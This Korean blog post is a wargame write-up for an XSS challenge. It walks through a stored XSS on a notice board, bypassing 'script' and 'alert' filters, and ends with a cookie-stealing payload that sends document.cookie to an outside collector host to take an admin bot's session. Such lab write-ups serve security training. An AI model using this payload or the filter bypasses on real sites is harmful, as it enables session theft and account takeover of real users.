본문 바로가기

WarGame/SegFault

XSS 4

문제 정보

1. XSS 포인트

xss_5/notice_list.php

제공된 호스트 접속 시, "xss_5/notice_list.php" 경로에서

Stored XSS 공격이 발생할 수 있는 공지사항 게시판 페이지를 확인할 수 있다.

스크립트 작성 경로 : /xss_5/notice_write_process.php
write.php 파라미터 : create_title, create_body

스크립트 실행 경로 : /xss_5/notice_read.php
read.php 파라미터 : id, view

스크립트가 작성될 수 있는 게시글 작성 페이지와 파라미터,

스크립트가 실행될 수 있는 게시글 읽기 페이지를 확인할 수 있었다.

(* Stored XSS 포인트 확인)

2. 특수문자 필터링 확인하기

게시글을 작성하는 "/xss_5/notice_write_process.php" 페이지에

제목, 본문에 해당하는 파라미터를 통해

사용할 수 있는 특수문자를 테스트하는 요청을 보냈다.

작성한 게시글을 읽는 "/xss_5/notice_read.php" 페이지의 응답을 확인하니,

모든 특수문자가 출력되며, 사용 가능한 것을 알 수 있다.

3. 스크립트 삽입

스크립트 태그가 동작하는지 요청을 보냈다.

응답에서 "script" 문자열이 필터링되는 모습을 확인할 수 있다.

"script" 문자열 필터링을 우회하기 위해

대소문자를 섞은 "sCrIpT" 문자열로 요청을 보냈다.

응답에서 스크립트 태그가 정상적으로 삽입된 것을 확인할 수 있다.

POC 코드인 alert(1)을 삽입하여 요청했다.

응답에서 "alert" 문자열이 필터링되는 모습을 확인할 수 있다.

"alert" 문자열 필터링을 우회하기 위해

비슷한 POC 기능을 하는 prompt 함수를 이용해 요청을 보냈다. 

응답에서 prompt 함수가 정상적으로 삽입된 것을 확인할 수 있다.

POC 스크립트가 삽입된 게시글에 접근해 보니,

악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.

4. 예상 피해

  • 사용자 쿠키 탈취 : document.cookie
  • 사용자 개인정보 탈취 : keylogger
  • 악성코드 다운 & 실행
  • 피싱 사이트 강제 이동 : location.href

만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면

일반 사용자들이 해당 게시글을 읽을 때,

공격 스크립트가 사용자의 웹 브라우저에서 동작해

피해가 발생할 것으로 보인다.

5. 쿠키 탈취

<sCrIpT>var i = new Image(); i.src = "https://en88y0voes91u.x.pipedream.net/?cookie="+document.cookie;</sCrIpT>

쿠키를 탈취하는 스크립트 작성한 다음

게시글 본문에 해당 스크립트를 넣어 수정했다.

수정된 게시글에 접근 시,

게시글에 접속한 사용자의 세션 ID를 공격자 서버에서 확인할 수 있다.

쿠키 탈취 스크립트가 삽입된 게시글의 URL을

관리자 봇이 접근할 수 있게 입력해 보니,

공격자 서버에서

피해자인 관리자의 세션 ID

즉, FLAG를 얻을 수 있었다.

'WarGame > SegFault' 카테고리의 다른 글

XSS 6  (0) 2024.06.17
XSS 5  (0) 2024.06.16
XSS 3  (1) 2024.06.14
XSS 2  (0) 2024.06.14
XSS 1  (0) 2024.06.14